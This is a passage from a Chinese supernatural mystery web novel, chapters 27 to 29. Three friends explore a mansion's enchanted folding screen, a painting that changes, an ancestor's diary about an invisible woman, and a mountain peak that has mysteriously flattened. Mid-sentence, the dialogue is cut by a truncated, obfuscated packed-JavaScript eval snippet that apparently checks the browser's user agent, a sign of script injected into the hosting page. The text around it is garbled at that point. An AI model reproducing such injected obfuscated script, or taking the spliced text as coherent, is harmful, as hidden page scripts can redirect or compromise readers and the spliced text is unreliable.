意念向那洞口慢慢延伸过去,就像大脑里伸出的触手,一点一点接近洞口,就在探入洞口的瞬间,唐镜突然“听”到凄厉的呼号声…… 说是“听”到,其实并不是真有声音传到耳朵里,而是那种讯息直接印在脑海里。 各种各样的声音在嘶喊尖叫,男女老幼都有,不成语句,一片混乱后恐惧,让唐镜想到人们在面对山崩地裂,洪水海啸时的情形。 这声音让她险些崩溃,她能深深的感觉到那些呼号声里的惊骇和绝望。 好在这声音并没有持续太久,很快声音慢慢低下去,取而代之的是嗡嗡嗡的声音,仿佛有大片的蜂群飞过。 随后,嗡嗡嗡的声音低下来,一个女声响起来,低沉威严,是命令的语气,她的发音特别奇怪,至少不是唐镜听过的任何一种语言。 唐镜下意识觉得,这个说话的女人,就是那个坐在圆凳上,和她长的一模一样的那个女人。 她的话语非常简短,不超过一分钟,她的话音落下后,就传来了轰隆隆的声音,像是什么机械开始发动。 再然后,又响起了各种各样的呼号声,也是男女老幼都有,只不过这声音没有了开始的惊惧和绝望,而是夹杂着茫然、兴奋、害怕、膜拜等各种复杂情绪。 “轰!”一声巨响过后,所有声音戛然而止,脑海里只剩一片空茫茫的寂静。 唐镜慢慢睁开眼睛,正好看到齐修同时睁开眼睛,四目相对,她从他眼里看到的神情,确定他刚才也像她一样,在脑海里接收到了那些声音。 她的目光重新转向圆桌下面的那个大洞,幽黑不见底。 那些讯号,一定是从这个大洞里传出来的,它是想传递什么消息吗? 这时候,郑落落大概看到唐镜和齐修的表情不是很对劲,有些着急的问道:“怎么了?发生什么事情了?” 郑落落虽然是体术爱好者,但是可能是因为性格原因,她更喜欢通过练习体术让自己保持好身材,并没有怎么深入修习过冥想,按照她的说法,冥想对她来说,就是睡觉。 所以,她刚才虽然也学唐镜的样子,盘坐在一边,可是很显然,她并没有接受到任何讯号。 唐镜简单的给郑落落描述了一下刚才“听”到的那些声音,并问她听到这些声音后,想到了什么。 郑落落思索了一下才说:“听起来,好像是什么地方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她们的衣服质料,也是见所未见闻所未闻,极其修身,就好像身上的一层皮肤,面料有些像缎子,可是却又及其挺括,完美勾勒出身体曲线的同时,又给人一种作战服的感觉。 “她们会不会是哪个国家的秘密特种兵?”唐镜回忆着看过的一些小说,有些国家培养的女特工,据说非常厉害。 “如果真是这样,这个国家早就统治全球了,光是这个无形的罩子,就已经远远超过现在的科技水平了。”齐修说道。 “她们会不会是外星人?”郑落落说到这里,突然惊恐的看着唐镜,“咱俩、咱俩会不会是外星人?” “别胡说!你和我哪点像外星人?你有超能力吗?我有超能力吗?”唐镜哭笑不得,郑落落这脑洞开的也太大了一点。 “这个幻境,哦,这个平行空间的存在,没准就是外星人来到地球后,造出来的。”郑落落不服气的说。 唐镜突然觉得,郑落落的推测,也挺有道理的,也许,很多答案,就在那个圆桌下面的洞里。 有一种强烈的冲动,驱使她想要走下那个大洞,想要知道究竟是这么一回事。 唐镜怔怔看着那个大洞,一步一步往洞口走去,刚走到洞口,却被齐修一把拉住:“这次没有准备,不要轻举妄动。” 唐镜正想甩开齐修的手,可是看到手腕上的银手镯,脑子猛然冷静下来。她朝齐修勉强笑了笑,“我们还是先离开这里吧,你肯定能把我们带回去吧。” 齐修松开手,点点头:“好!” 郑落落也没有意见。 唐镜既然知道通过那架屏风可以来到这个幻境,也没有必要急在一时,而且她还想把这里的情形,告诉伊峰秋,听听他的意见。 既然决定要离开,唐镜就拿出手机,准备把眼前所见一一录下来,不料拿出手机后,发现手机不仅没有信号,还没有电,完全变成了一块铁疙瘩。 郑落落的相机和手机也一样,失去功能。 这应该是在齐修的意料之中,唐镜和郑落落面面相觑,他淡淡一笑:“没用的,我试过了,在这里,任何电子设备都没办法用。” 唐镜和郑落落只好放弃录像拍照的打算,跟着齐修,往外走去,不料走到银白色和黑色的两道光交织的地方,也就是扩大后的罩子和地面的连接处,才发现,三个人根本没办法从罩子里出去…… 28. 第 28 章 三个人站在罩子里面的边缘处,伸手出去,看似透明无一物,可是手却无法再往前伸出一毫米。 三人目光同时转向地面上的那两个掌印。 刚才唐镜和郑落落用鲜血和掌印让罩子扩大,才能进来,现在要走出去,是不是也要用同样的方法? 不用齐修开口,唐镜和郑落落两个人往掌印的地方走去,按照刚才的方法,重重一掌按下去。 指肚一痛,血迹从指缝间渗出。 与此同时,那黑色和银白色的两道光迅速收缩,转眼间恢复成原来大小,三个人已经在罩子外面。 罩子里面,两个女人坐着的石凳重新转了回去,那张圆桌也慢慢移动,盖住了大洞。 一切都恢复原样。 唐镜和郑落落收回手,指肚上的伤口以肉眼可见的速度迅速愈合,不留一点痕迹。 最后看了一眼罩子里的女人,三个人不约而同转身,向山峰下面走去。 回去的时候倒是轻松许多,像滑滑梯那样,半走半滑的到了山脚。 荒野广袤,大风呼啸,沉默的、青灰色的孤峰,像一把利刃直指天空,那两个女人,就坐在峰顶,如这片空间孤独的王者。 唐镜握住郑落落的手,闭上眼睛。 再次睁开眼睛的时候,三个人已经站在了屋子里,面对着那架瓷白色的屏风。 屏风上依旧是那幅水墨画,广袤荒野,孤峰伫立,谁会想到,在那孤峰绝顶,竟然会有那么神秘的情形。 定定看着屏风上的这幅画,唐镜有一种恍惚的感觉,刚才所经历的一切,是不是,只是一场梦? “我们要尽快准备好,再去那里一次。”郑落落说道。 唐镜点点头,心里有点乱,那两个女人,为什么会是她和郑落落的形象?再联想到这段时间的经历,总觉得冥冥之中,有一种力量,正牵着她俩走上一条不可测的命运之路。 那么齐修呢?他在这里又扮演了一个什么样的角色? “这架屏风,是从哪里来的?”唐镜问齐修。 齐修凝视着屏风,慢慢说道:“我看过齐家祖上保存下来的一些书信,这架屏风,应该是在建这座房子的时候就有了。” 齐家的这幢祖宅,是三百多年前修的,那么就是说,这架屏风在这个地方已经存在三百多年了。 唐镜突然想到,郑落落说齐家的这幢祖宅,是修在古墓上的,那么,这架屏风,会不会和古墓有关系? 她用眼角余光看了眼郑落落,发现她一脸若有所思,两个人应该是想到一块去了。 “因为年代久远,一些记载也是语焉不详,具体这架屏风怎么来的,我也没有查到资料,而且这架屏风和地面连为一体,根本无法移动。”齐修指了指屏风下面。 经过齐修的提醒,唐镜才发现,在屏风下端,瓷质边缘是直接融进青石板地面里的。 就好像这瓷质屏风,同地板是一个浑然天成的整体。 再仔细看,这屋子里面的石板地面,和院子里面的石板相比,颜色和材质都略有些不同,颜色更加暗沉一些,而且隐隐泛着灰色金属的光泽。 那天晚上和伊峰秋过来的时候,因为是晚上,当时精神一直高度紧张,所以她并没有注意到这些细节。 唐镜心里突然一动,为什么她和伊峰秋到的时候,看到的屏风上的画和现在不同,会不会是因为伊峰秋的原因? 她记得,伊峰秋进屋子以后,没了任何声息,她想尽办法从窗户进到屋子里以后,看到的这架屏风,上面虽然画的也是水墨山水,可是却绝对不是今天看到的这幅画,而且很快屏风上的墨痕就开始流动,变成了一双幽黑的眼睛。 为什么那个时候,屏风上会有变化,而现在却没有。 唐镜思忖了一下,问齐修:“这幅屏风上的画,一直就是这样吗?” 齐修一怔,显然对我的问题有些不解。 “我是说,这幅山水画,你最早看到的,和现在看到的,有没有什么变化?比如墨痕深浅啊之类的,毕竟经历了这么多年,难道就不会有什么褪色之类的。”唐镜不能说的太直白,只好旁敲侧击。 “我第一次看到这架屏风,还是上初中的时候,后来祖宅发还给我们以后,我也经常会来看看,从来没发现有什么变化。上次也是机缘巧合,才被摄入了那个幻境里。”齐修摇摇头说道。 那就是说,在唐镜和伊峰秋面前,屏风显示出了不一样的画面。 这架屏风难道会看人下菜碟不成? 唐镜突然又想到,那些失踪的地痞无赖,会不会是被摄入了另外一个时空里?所以才生不见人,死不见尸? 郑落落搓搓手,往手上哈了口热气:“这屋子阴气挺重的,越待越冷,咱们还是先出去吧。” 被她这么一提醒,唐镜才感觉到双脚脚尖冰冰凉,虽然只是秋季,而且还是大白天,外面阳光很好,可是这屋子的寒意却越来越重。 也许,这架屏风,包括和屏风连在一起的地板,真的是来自那千年古墓里,才会透着这般阴冷气息。 上次是晚上来,屋子里面又到处是烟雾,人又高度紧张,所以当时她没感觉到这种浓重的阴寒之意。 郑落落一边说,一边转身往门口走去。唐镜跟在她身后,齐修走在最后,三个人出了屋以后,齐修随手关上门。 太阳已经升起很高,唐镜看了看表,从进入这间屋子,再到出来,足足花了一个半小时。 可是在那幻境里,却是过了整整一天。 不过也没什么奇怪的,毕竟,她还体验过在幻境里过了好多个同一天,回来的时候,也不过短短数分钟而已。 齐修带着两人,从屋子外面的回廊绕到下一进院子里。 接下来的几进院子三人都没有停留太久,只是走马观花的看了看,一直走到齐卓宇的那进院子,唐镜看到那锈迹斑斑的门锁,不由自主紧张起来。 齐修站在大门前,顿了顿,却并没有开门,而是示意唐镜和郑落落跟着他,绕着围墙慢慢走起来。 “当初这围墙外面,每隔三步,就有一个卫兵站岗,另外还有两小队卫兵,绕着围墙来回巡视,这么严密的护卫,小叔祖还是不见了。” 齐修一边走,一边说,语气颇有些感慨。 唐镜看到那棵大树,她和伊峰秋就是从那棵大树上爬进院子里的,院墙那面,就是那个被无形罩子罩住的圆桌石凳。 绕着院子走了一圈,除了这里的院墙比别的院子的墙要高许多,外墙下面的野草茂盛一点外,并没有什么太多不同。 很快三个人又重新站回到院门前,齐修摸出钥匙,打开铁锁。 门轴发出生涩的咯吱声,大门被推开后,唐镜的目光第一时间投向摆放圆桌石凳的角落,下一个瞬间,她倒吸一口凉气,心脏也仿佛停止了跳动。 那个角落里空空如也,根本没有什么圆桌石凳。 唐镜定定站在大门前,看着那片角落,那棵大树依旧立在那里,枝繁叶茂,手臂粗细的树杈探出墙外,在墙上投下一片阴影。 可是大树下面,什么都没有。 那晚,她和伊峰秋,就是爬上这棵大探出院墙的树杈,翻进院子,研究了一番树下的石桌石凳,以及那层无形的罩子。 院子里面的青石地砖在阳光下泛着淡淡光泽,院子里除了那棵大树外,没有多余的花草树木,显得非常开阔。 正屋、厢房加偏屋,和那晚看到的没什么区别,院子还是这幢院子,房子也是那些房子,可是大树下那洁白的圆桌石凳却不翼而飞。 唐镜的头又开始隐隐作痛。 “你怎么了?”郑落落探头过来,看着唐镜的脸,有点疑惑的问道。 唐镜回过神来,见齐修也向自己看过来,于是勉强笑了笑:“大概这里的房子年代太久远了,我总感觉有点瘆的慌。” “幸好我们是白天来,如果是晚上来,那还不得更吓人?”郑落落也许是想让她放松下来,故意打趣道。 “你小叔祖消失以后,这房子还有人住过吗?”唐镜岔开话题,转头问齐修。 “没有,小叔祖不见了以后,大家都说这院子邪气,就把院子封了,一般也没人敢进去,大概只有小叔祖的三哥进来过,我在他留下的日记里看到,每年逢小叔祖生日,他都会带着酒菜,偷偷进来一个人待上大半晚。” “这进院子,你来过吗?”唐镜问齐修。 “只要我来老宅,都会到小叔祖的房子里转一圈,想找找看有没有什么有意思的东西,可是没发现过什么。”齐修耸耸肩膀。 “如果你小叔祖消失以后,这房子就被封住了,那么这房子里的东西都不曾动过吧?”唐镜继续问道。 “那是自然。” “哇,那就是说,屋子里面,那些一百多年前的家具,都完整保存到了今天?”郑落落兴奋的说,“快,快,我要进去看看那些摆设。” 郑落落激动的往里走,唐镜却有些心不在焉,边走边扭头看着大树下,那空荡荡的一片平地。 那套消失的圆桌石凳,虽然和山峰顶上看到的圆桌石凳形状一模一样,可是颜色却截然不同,一个是白玉般莹润,一个是青黑色的,它们之间,有什么关系吗? 还有,它们都被一个无形的罩子罩住,这绝对不可能是巧合! 会不会它们都来自同一个地方? 听到房门被推开的声音,唐镜立刻把脑子里的疑问抛到一边,只迫切的想知道,房间里的情形,会不会和那晚看到的一样。 直觉应该会不一样,因为她觉得齐修提起齐卓宇的住处,表现的很正常,如果齐卓宇的房间那么与众不同,他就不会是这种表现才对。 郑落落这时候已经推开了正屋的门,阳光照进去,细小的灰尘在光线里飞舞,外面亮,里面暗,再加上郑落落就挡在门口,唐镜只能看见日光照进去的那一小片地方。 可是她已然确定,这屋子里面和那晚看到的情形截然不同。 因为那晚上,这屋子里面干净的一尘不染,可是现在,她分明看到地板上那一层浅浅的灰尘。 郑落落打开门以后,没有立刻进去,“咦”了一声,就怔在那里,一动不动。 唐镜心想她不知道看到什么奇怪的东西了,赶紧上前一步,从她身侧看过去。 屋子里面的家具和布局,没有任何变化,和那晚看到的一模一样,一圈皮质沙发摆放在中央,沙发前面放着茶几,正对门的墙砌了一个壁炉,雕着繁复的花纹。 只是,这些家具和摆设,都不是她那晚看到的那般一尘不染,而是蒙上了一层淡淡的灰尘,完全是许久没有人住的样子。 郑落落呆呆地看着那副壁炉上方的油画上。 那晚,唐镜见过这幅油画,画的是齐卓宇的爱人,坐在窗边,穿着长裙,乌黑的头发高高盘起,发髻边插着一枚蓝宝石发簪,正侧头看向窗外。 油画的右下角还有齐卓宇的签名。 唐镜目光落到油画上的时候,顿时一怔,如果不是前面经历了太多稀奇古怪的事情,我这个时候一定会忍不住惊叫起来。 她记得很清楚,那晚看到油画的时候,油画上的女子,是侧头看向窗外,可是现在再看到这幅油画,油画上的女子,头却转过来,朝向三人。 当时这幅油画给她的印象极其深刻,她是不可能记错的。 不过唐镜随即意识到,自己因为看过这幅油画,所以才会发现油画上的女子头部位置有变化,那郑落落为什么会怔住? 她在照片上有见过这个女人,所以不会是因为第一次见到这个女人,被她的美丽所震,而且看她的样子,更像是受到了惊吓。 “你怎么了?”唐镜碰了碰郑落落的肩膀,低声问道,“看到什么东西,把你吓成这样?” 郑落落这才回过神来,脸色有些煞白,她揉了揉眼睛,又看了看油画,这才迟疑说道:“可能是我看花眼了吧。” “到底看到什么了?”唐镜追问道。 郑落落看了看唐镜,又看了看身后的齐修。 齐修也察觉到了郑落落的异样,目光中带着询问。 “我刚才看到那幅油画的时候,油画上的女人本来侧头看窗外,突然扭头过来看着我们。”郑落落拍了拍胸口,心有余悸的样子,“明明是一幅画,怎么可能会动,一定是我看花眼了。” 听到郑落落的话,唐镜心里顿时一沉,郑落落以为自己是看花了眼,可是唐镜知道,落落并没有看花眼。 因为她记得清清楚楚,那天晚上,油画上的女人确实是侧头看向窗外的,难道就是在刚才推门进来的刹那,她转过了头? 就好像坐在房间窗边的女主人,听到有人进来,转头看过来。 不是画中人,而是一个活生生的人! 想到这里,再看着油画上绝美的女人,唐镜突然有些头皮发麻。 齐修这时候轻笑起来:“落落,你一定是眼睛花了,这幅油画我看了好几次,上面的女人都是正面朝向,哪里有侧头看窗外。” 唐镜用眼角余光瞥了眼齐修,发现他神情坦然,很显然,他并没有说谎。 也就是说,她和伊峰秋那晚看到的油画,是和平时不一样的。 不过这也没什么奇怪的了,因为她和伊峰秋在这幢宅子里经历的一切,都和今天的所见所闻完全不同。 就好像这屋子在白天和夜晚,会以不同的面目示人。 又或者有一种可能,对不同人,展示不同的面目! 现在是白天,这间屋子里的布置和装饰,都和那晚看到的一样,唯一的区别,就是蒙了一层灰尘,充满了岁月沧桑的气息,一看就知道,这里空置了很多很多年。 不过,这里只是蒙了厚厚的灰尘,却看不到蜘蛛网,也没有虫鼠出没破坏的痕迹。 不像这座老宅里别的地方,那种颓败荒废的感觉。 总之,这屋子里面,即使不像那晚看到的,仿佛置身于时间长河之外的古怪,却也透着另外一股子异样感。 “这房子里面的一直都是这样吗?”唐镜忍不住问齐修,“白天,嗯,或者晚上,都是这样子?” “每次来都是这样,我们有祖训,不能擅动这院子里面的任何东西,否则会有血光之灾,我爷爷那辈,有人不信邪,偷了这里的东西,第二天全身溃烂,惨叫了三天三夜才死。” 唐镜又忍不住打了个寒颤,心里莫名感觉庆幸,那晚她和伊峰秋虽然有想过,拿一样东西去检测,但是最终却并没有付诸行动。 两人当时只是觉得这房间太过古怪,最好不要轻举妄动,现在看来,当时的谨慎还是有道理的。 想想也是,一幢上百年的房子,能保存的这么完好,必然有什么很厉害的禁忌。 齐修顿了顿,边回忆边说:“当时摸进这个房间偷东西的人,算起来,也是爷爷的叔伯兄弟。他好赌,把自己那份家产都败光了,就打起了这房子里东西的主意。” 郑落落忍不住好奇问道:“你是从哪知道的?” 齐修点点头:“小叔祖三叔的日记里写得很详细,当时是凌晨时分,整个宅子里的人都被他的惨叫声惊醒,赶过来以后,发现他倒在房子门口,身边地上掉着一套纯银鎏金的茶器,显然是被他偷出来的。” “后来呢?”郑落落问道。 “家人请来大夫,把他衣服剪开,发现皮肤上全是水泡,有些水泡溃烂后,流着脓水,就算涂抹药水,也止不住溃烂。直到三天后,他才咽下最后一口气,据说死的时候,整个人都已经不成人形。” 郑落落摇头叹气:“虽然是自作自受,可是死的这么惨,哎……” 齐修继续说道:“当时族中不少人见到他的惨样,死了后,更是谁也不敢靠近,后来还是两个胆大的把他的尸体抬出去。那时候族长是爷爷的大伯,封了院子,同时严令任何人把这件事说出去。” “难怪这些东西都保存的这么完好,随便拿一件出去,都能换不少钱。”郑落落指指柜子上摆着的水晶杯。 “这件事情族里不少人亲眼目睹,看到那人的惨样,别说去屋里偷东西了,就连这院子都不敢靠近,都说屋子里鬼怪作祟。”齐修说道。 “难怪保存的这么好,连蜘蛛网和老鼠的痕迹都没有,要不是灰尘太厚,我肯定以为平时有人进来打扫呢。”唐镜装作若无其事的说道。 “这也是我百思不得其解的地方,不过,那架屏风都如此古怪,这屋子里的情形,也就不算什么了。”齐修耸耸肩膀。 唐镜觉得齐修说的很有道理,不过她已经决定,一定要和伊峰秋,在白天的时候再来一次,看看到底是怎么回事。 为什么她和伊峰秋看到的情形和今天看到的截然不同? 三个人在客厅里转了一圈,又推门到卧室和小餐厅看了看,没有停留太久,就离开了。临出门前,唐镜又回头看了一眼那幅油画。 油画上的女人,还是面朝她,秀美脱俗的脸上,带着淡淡的笑容。 优雅而神秘。 接下来的几进院子,三人都是走马 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正屋连着一间卧室,里面有个带浴室的卫生间。 唐镜和郑落落参观完所有房间后,重新回到客厅桌边。 齐修戴上白手套,小心翼翼的从书架上拿起一叠泛黄的纸张,再小心翼翼的把纸张摊到桌上,看他的样子,仿佛只要呼吸重一点,这些纸张就会碎掉。 “这就是小叔祖的三哥留下来的日记。” 唐镜和郑落落围过来,看着这些泛黄的纸页,上面是用毛笔写的小楷,字迹整齐,从上到下,由左到右,完全是民国时候的书写样式。 好吧,唐镜不得不承认,看着书页上面的繁体字,她有些傻眼了,虽然勉强能认出一些,可是想要弄明白里面的意思,还是挺吃力的。 郑落落做为科班出身的考古系学生,看这些繁体字倒是毫不费力,至于齐修,那就更不用说了。 好在郑落落做为合格的闺蜜,不用唐镜说出来,就已经发现她对纸张上的繁体字束手无策,于是就边看边低声讲给她听。 足足用了三个多小时,三人才把齐卓宇三哥的日记看完。 从日记里可以看出来,三哥和齐卓宇这个兄弟的感情是极好的。 当初齐卓宇“中邪”之后,他从齐卓宇离开宴会大厅,回到住的院子,再从院子回来,整个过程中,所有见到过齐卓宇的人,都一一找到,细查询问当时情形。 算下来,从齐卓宇离开宴会厅再到返回,整个过程,见过他的人,从躲在外面吸烟的宾客,到端茶送水的仆役,躲在偏房角落里面等着和丫鬟幽会的侍卫等等,竟然有八个人之多。 也难为他在事后竟然能找到这么多目击者。 当时齐卓宇离开宴会厅的时候,言行举止都和平时无异,甚至他刚进自己院子的时候,也没有什么异样。 变故出现在他走到大树下面的一瞬间。 那个跟丫鬟幽会的侍卫,那时正在院子角落里的杂物房里,等着丫鬟过来,只是没等到丫鬟,却发现齐卓宇推门进了院子。 根据他的描述,他当时从窗缝里看见,进院子的不是丫鬟,而是少爷齐卓宇,顿时吓得连大气也不敢喘一下。 他这个时候,自然不敢被发现,要知道,齐卓宇的院子是不能随便进出的,他一个侍卫,鬼鬼祟祟躲在杂物房里,若是被当成图谋不轨,轻则被撵走,重则可能直接被打死。 侍卫当时满脑子的旖旎之想,早就抛到了九霄云外,唯一的念头,就是等大鹰恢复正常,少爷离开后,就赶紧溜走。 他看到齐卓宇急匆匆走到大树下,先是试图招呼大鹰飞下来,可是大鹰却始终在树上不肯下来,他又吩咐下人去拿一些新鲜的肉条来,就在下人离开的时候,周围突然安静下来。 大鹰不再扑扇翅膀,站在树杈上一动不动,就像突然被施了定身法,甚至周围连风声、虫鸣声都没了。 按照那个侍卫的描述,当时他躲在杂物房里,正从窗缝里往外看,只觉得周围静的特别难受,安静到他能听到自己心脏的跳动声,血液的流动声。 他听到齐卓宇低喝了一声:“什么人!” 当时齐卓宇是从宴会厅赶来,身上没有带武器,不过从他的角度,可以看到齐卓宇往后退了一步,拉出了准备格斗的架势。 可是他并没有看到院子有第二个人出现。 正迷惑不解,他又听到齐卓宇“咦”了一声,语气惊讶:“你是来参加宴会的客人吧,为什么躲在这里?” 侍卫听得有些糊涂,他在杂物房,一直从窗缝里往外看着院子,盼着丫鬟早点过来,所以他可以肯定,除了偶然进出的下人,根本没有外人进过这个院子。 他见齐卓宇仰头看着树上,语气变得非常柔和:“你是谁家的女儿,我在宴会厅里没有看见你,想来是你偷偷躲到这里的缘故。” 有女人藏在树上? 侍卫越来越糊涂了,他眼睛睁了又睁,也没瞅到树上有什么人。 他又听到齐卓宇说:“你真调皮,爬到树上去做什么?这大鹰性子烈,你一个姑娘家,被它抓伤怎么办?” 从侍卫的角度,可以清楚看到,齐卓宇神情越来越轻松,嘴边浮起笑意,目光里,多了几分含情脉脉,一直看着树上。 可是树上除了那只大鹰,像被施了定身法一动不动外,根本没有什么人。 侍卫一度怀疑,自己是不是眼睛花了? 他忍不住揉了揉眼睛,终于确定,齐家小少爷确实是对着树上的空气说话。 侍卫的脑子里,浮现出那些神魔鬼怪的传说,身体抖得像筛糠,这大树上到底是有鬼魂,还是有妖怪?齐家小少爷是不是撞邪了? 只见齐卓宇一边说话,一边往前走了一步,伸出手,像是准备从树上接下什么人似的,而且,看他接下来的动作,真是有人从树上下来,被他接住。 这侍卫也算忠心,虽然浑身抖得跟筛糠似的,怕的要命,可还是颤抖着手,摸出腰里别的手枪,想着不管是鬼魂还是妖怪,先来一枪再说。 他把手枪举出来,还没瞄准,就发现自己无法动弹,身边的空气好像变成了粘稠的浆糊,把他裹挟在中间,连呼吸都变得困难起来。 侍卫大骇,想要出声示警,可是嘴都无法张开,更别提发出声音了。 于是,他只能眼睁睁看着齐卓宇对着空气,有些痴迷的说:“姑娘,你家人是不是在宴会厅里?我带你回宴会厅好不好?” 院子里安静了一会。 侍卫明明什么都没听到,可是却见齐卓宇屏息凝神,似乎正在专心的听什么,随即,就见他笑逐颜开:“原来你从很远的地方来,是第一次到这里,那我们真的很有缘,我该怎么称呼你?” 诡异的安静后,齐卓宇又说道:“姑娘,我们现在就去宴会厅,我父母见到你,一定很高兴。” 继续安静。 齐卓宇的语气猛然提高了一点,带着点好气又好笑:“你太调皮了,我父母怎么会看不到你,你明明是一个活生生的人,我从来没见过像你这么美丽的女孩子呢。” 安静。 齐卓宇:“就算他们看不到你又怎样?我能看到你就行了!” 显然,齐卓宇正在跟那个看不见的少女对话,可是侍卫只能听到齐卓宇说话,却听不到那个少女的声音。 这种情形自然让侍卫更加惊骇,再加上他浑身无法动弹,就越发相信,齐家小少爷是被邪物给迷住了心神。 最后,齐卓宇似是终于说服了那姑娘,他搀着姑娘,往院子外面走去。 这个时候,下人端着一盘新鲜肉条匆匆走进来,正好迎面碰上齐卓宇,被他诡异的举止吓到了,站在那里手足无措。 齐卓宇瞪了他一眼:“还不闪到一边去,挡在客人前面,成何体统!” 下人下意识的闪开,可是脸上的表情却是无比迷茫,他自然没看到有什么客人,只是看见齐卓宇面如春风,伸臂搀扶着一个无形的人,往院外走去。 一直等到齐卓宇的身影消失后,侍卫才发现自己突然能动弹了。他当时一屁股坐在地上,愣了半晌,才好不容易爬起来,连滚带爬的离开杂物房。 …… 齐卓宇三哥的文笔很好,那侍卫又是最重要的一个目击者,他以侍卫的口吻描述了当时的情形,整个过程仿佛重现眼前。 唐镜、郑落落和齐修看到这里,面面相觑,见彼此脸色都有些不对,显然这段记录,让三个人产生了身临其境的诡异之感…… 29. 第 29 章 三个人静默了一会,唐镜忍不住说道:“我们假设,真的有这么一个女人,为什么齐卓宇可以看见她,别人却看不见她呢?” 郑落落思忖着:“也许她用了什么办法,只能让齐卓宇看见她?” 唐镜:“如果她真的有办法,可以让齐卓宇看见她,那她完全可以用同样的办法,让别人也看见她。” 郑落落点头:“对啊,她如果真的爱齐卓宇,完全可以让别人都看见她的存在,至少不会闹的整个齐家鸡飞狗跳,齐卓宇身败名裂!” 齐修微怔,显然,他以前并没有想到这个问题,也许因为他是男人的缘故吧,不会从女人的视角去看待感情。 从以后发生的事情来看,这位“隐形”女子应该是爱上了齐卓宇,就算她是妖魔鬼怪,也完全可以像正常人那样出现在齐卓宇身边。 三个人按照这个思路,讨论了一会,却始终得不出什么结论,只能继续往下翻看手记。 从手书的记录上,可以看出来,那位“隐形”女子和齐卓宇情投意合,相伴多年,也算是一对眷侣,但却最终让齐卓宇蒙羞于齐家,不容于当世。 不管是从以前齐修的描述,还是从这些文字记录来看,齐卓宇,这个齐家最惊才绝艳的年轻人,自那一天后,就被当作邪祟上身,余生相当于被圈禁在那小小的庭院里,一代青年才俊,从此陨落。 …… 看完齐卓宇三哥的手书,三人心情都有些沉重,又翻看了一些当年的旧报纸,这些保存下来的报纸上,刊登了很多关于齐家和齐卓宇的报道。 有些报纸还刊登了齐宅的老照片,虽然拍摄者是在离齐宅很远的地方,拍大门和宅子的远景,不过依然可以看出来,这幢建于半山腰的大宅的恢宏气势。 唐镜的目光停留在其中一张老照片上,隐约觉得,照片里有些不对劲,可是一时却又看不出来,到底哪里不对劲。 齐家的这幢老宅,位于半山腰,从山脚的山道一路走上去,转过一个弯道,在快要到大门前百多米距离的时候,就能看到宅子全貌。 宅子依山而建,不过宅子后面一直到山顶,则是杂木丛生,人迹罕至的野地。 从这张照片拍摄的角度来看,应该是在山道转弯处,从下往上拍过去,也不知道那时的摄影师是用什么方法,没有广角镜头,竟然还能把齐宅以及后面的整座山顶都拍了进去。 “唐镜,你干嘛看着这张照片发呆?”郑落落凑过来,看了看照片,“哇,不会吧,那个时代的胶片照相机,居然可以从山腰拍到山顶?” “山顶……”唐镜看着照片上的山顶,脑中灵光一现,立刻意识到是哪里不对了。 照片里的山顶,像尖尖的塔尖,可她记得,不管是那天傍晚,还是今天早上,她看到的山顶,都不是这种塔尖形状,而是平缓的一个弧度! 如果把这座山比作一个高塔,那么现在的这座山,就好像塔尖被削去一截! 唐镜定了定神,指着照片上的山顶,问齐修:“那个时候的山顶,为什么和现在的山顶不一样?难道后来,这山顶被人为削平了吗?” 齐修盯着照片,脸上顿时浮起疑惑之意:“山顶形状确实变了,但是至少从我有记忆起,看到的山顶就是平的。” 郑落落接口道:“也就是说,至少在这报纸刊登的时间之前,山顶都是尖的,而在八十年代后,山顶是平的,那么变故是出现在上上世纪四十年代到八十年代之间的四十年里。” 齐修摇头:“老宅自从有闹鬼的传闻出来以后,根本没人敢来山脚,而且山路只到老宅,后面根本就没有路到山顶,所以时间可以再提前到六十年代,变化发生在二十年里。” “也就是说,这座山的山顶,本来是尖的,可是在二十年里,不知道发生了什么变故,竟然变成了平的。”郑落落一边说,一边拿出单反相机,调出在山路上拍的照片,里面有她拍的全景照片。 两张照片放到一起对比,就更加清晰了,照片的角度都差不多,报纸上的老照片,山顶尖尖,单反相机里的照片,山顶则是一个平滑的弧度。 “山顶要被削平成这样,一定是个巨大的工程,不可能无声无息的变成这样,如果有这样的工程,附近村民肯定会有深刻的印象,也会有相应的文字记录。”唐镜说道。 “绝对没有,从我有记忆以来,不管是家族里的长辈,还是这桐留的乡亲,都没有人提起过这件事情,我也没发现这方面的文字记载。”齐修摇摇头。 那就是说,这山顶的变化,不会是一时三刻改变的,而是在二十年里,以一种润物无声的方式,缓慢变化,以至于周边都没有人注意到这种变化。 …… 两张不同时代的照片,并排摆在桌子上。 百多年前的那张照片,黑白色,微微泛黄,有些地方已经变得模糊。 单反里的那张照片,蓝天白云青山,纤毫毕现。 因为是在近乎相同的角度拍摄的,所以两张照片的清晰度即使有很大差异,可是里面的山顶轮廓,不同之处还是特别明显 就好像有什么神秘的力量,无声无息的抹平了尖尖的峰顶。 在现代社会,一颗炸弹下去,也可以削平一个山头。 一颗核弹毁灭一个城市,也是轻而易举的事情,可是有什么力量,能够在短短二十年里,无声无息改变这座山? 齐修说:“想要知道原因,只有一个办法,爬到山顶去看看。” 唐镜:“今天肯定不行,按照这山的高度,爬到山顶,再回来,至少需要两天一夜,而且,我们得先准备爬山还有露营用的装备。” 齐修看看表,淡淡一笑:“今天当然不行,最快也要下周周末。这几天,我来采购需要的装备,下周五晚上过来,在这里住一晚,周六早上爬山,顺利的话,周日晚上正好赶回市区。” 他一边说一边用目光询问唐镜和郑落落。 唐镜听到要在老宅里住一晚,心里不禁有些发毛,晚上的老宅,实在是太过诡异了,她本能的抗拒在老宅里过夜的提议。 齐修看到唐镜的脸色不太好,有些不解:“怎么?有什么问题?” 唐镜勉强笑笑:“不是说这宅子闹鬼嘛,在这里过夜,想想就挺瘆人的。” 郑落落本来还大大咧咧,听到这里,顿时也有些不安:“要不,我们住镇上,早上早点起来去爬山。” 齐修淡淡一笑:“有我在,怕什么,祖先会保佑我的。” 唐镜心里虽然发毛,可是一想,如果晚上住在这里,她可以找个机会溜出去,看看那面影壁,那架屏风,甚至去齐卓宇的房间看看有什么不同。 不过这想法只是一闪而逝,真要让她一个人晚上在这么诡异的老宅里转悠,除非吃了熊心豹子胆。 